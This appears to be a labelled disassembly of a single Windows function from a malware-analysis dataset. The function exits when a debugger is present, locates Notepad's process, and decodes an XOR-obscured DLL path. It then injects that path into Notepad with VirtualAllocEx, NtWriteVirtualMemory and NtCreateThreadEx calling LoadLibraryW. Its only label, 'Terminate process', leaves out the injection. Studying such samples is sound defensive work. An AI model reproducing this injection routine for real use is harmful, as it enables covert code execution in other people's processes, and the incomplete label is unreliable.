Function at 0x14000193e
Capabilities:
Terminate process

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x14000196e
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov dword [rbp + 0x8c], 0
call sym.GetNotepadPID
mov dword [rbp + 0x88], eax
cmp dword [rbp + 0x88], 0
je 0x140001c9b
mov eax, dword [rbp + 0x88]
cmp eax, dword [rbp + 0x8c]
je 0x140001c9b
mov eax, dword [rbp + 0x88]
mov edx, eax
lea rax, str.A_process_started_with_PID:__lu_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x8c], eax
mov word [rbp - 0x20], 0xc9
mov word [rbp - 0x1e], 0x90
mov word [rbp - 0x1c], 0xf6
mov word [rbp - 0x1a], 0xff
mov word [rbp - 0x18], 0xd9
mov word [rbp - 0x16], 0xcf
mov word [rbp - 0x14], 0xd8
mov word [rbp - 0x12], 0xd9
mov word [rbp - 0x10], 0xf6
mov word [rbp - 0xe], 0xcb
mov word [rbp - 0xc], 0xd8
mov word [rbp - 0xa], 0xc4
mov word [rbp - 8], 0xcb
mov word [rbp - 6], 0xdf
mov word [rbp - 4], 0xf6
mov word [rbp - 2], 0xee
mov word [rbp], 0xcf
mov word [rbp + 2], 0xd9
mov word [rbp + 4], 0xc1
mov word [rbp + 6], 0xde
mov word [rbp + 8], 0xc5
mov word [rbp + 0xa], 0xda
mov word [rbp + 0xc], 0xf6
mov word [rbp + 0xe], 0xc3
mov word [rbp + 0x10], 0xc4
mov word [rbp + 0x12], 0xc0
mov word [rbp + 0x14], 0xcf
mov word [rbp + 0x16], 0xc9
mov word [rbp + 0x18], 0xde
mov word [rbp + 0x1a], 0xc3
mov word [rbp + 0x1c], 0xc5
mov word [rbp + 0x1e], 0xc4
mov word [rbp + 0x20], 0x8a
mov word [rbp + 0x22], 0xce
mov word [rbp + 0x24], 0xc6
mov word [rbp + 0x26], 0xc6
mov word [rbp + 0x28], 0x8c
mov word [rbp + 0x2a], 0xda
mov word [rbp + 0x2c], 0xd8
mov word [rbp + 0x2e], 0xc5
mov word [rbp + 0x30], 0xc9
mov word [rbp + 0x32], 0xf6
mov word [rbp + 0x34], 0xde
mov word [rbp + 0x36], 0xcf
mov word [rbp + 0x38], 0xd9
mov word [rbp + 0x3a], 0xde
mov word [rbp + 0x3c], 0x84
mov word [rbp + 0x3e], 0xce
mov word [rbp + 0x40], 0xc6
mov word [rbp + 0x42], 0xc6
mov word [rbp + 0x44], 0
mov qword [rbp + 0x80], 0x33
mov rax, qword [rbp + 0x80]
sub eax, 1
mov edx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.DecryptString
mov eax, dword [rbp + 0x88]
mov edx, eax
lea rax, str.Processing_PID:__lu_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x88]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x66
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x70], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.NtWriteVirtualMemory
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x68], rax
lea rcx, [rbp - 0x20]
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9d, 0x66
mov r8, rcx
mov rcx, rax
call r10
lea rax, str.Kernel32
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.LoadLibraryW
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x60], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.NtCreateThreadEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x58], rax
mov rcx, qword [rbp + 0x78]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x60]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x58]
mov r9, rcx
mov r8d, 0
mov edx, 0x10000000
mov rcx, rax
call r10
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140001978